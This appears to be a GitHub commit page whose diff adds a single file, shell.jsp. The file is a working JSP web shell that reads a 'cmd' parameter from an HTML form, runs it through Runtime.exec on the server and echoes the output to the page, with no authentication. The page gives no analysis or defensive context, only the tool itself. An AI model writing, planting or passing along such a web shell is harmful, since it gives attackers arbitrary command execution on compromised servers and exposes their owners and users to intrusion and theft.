We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 7e7f166 commit 547acbeCopy full SHA for 547acbe
shell.jsp
@@ -0,0 +1,25 @@
1
+<FORM METHOD=GET ACTION='shell.jsp'>
2
+<INPUT id='cmd' name='cmd' type=text>
3
+<INPUT type=submit value='Run'>
4
+</FORM>
5
+<script>
6
+ var input = document.getElementById("cmd");
7
+ input.focus();
8
+ input.select();
9
+</script>
10
+
11
+<%@ page import="java.io.*" %>
12
+<%
13
+ String cmd = request.getParameter("cmd");
14
+ String output = "";
15
+ if(cmd != null) {
16
+ String s = null;
17
+ try {
18
+ Process p = Runtime.getRuntime().exec(cmd,null,null);
19
+ BufferedReader sI = new BufferedReader(new
20
+InputStreamReader(p.getInputStream()));
21
+ while((s = sI.readLine()) != null) { output += s+"</br>"; }
22
+ } catch(IOException e) { e.printStackTrace(); }
23
+ }
24
+%>
25
+<pre><%=output %></pre>
0 commit comments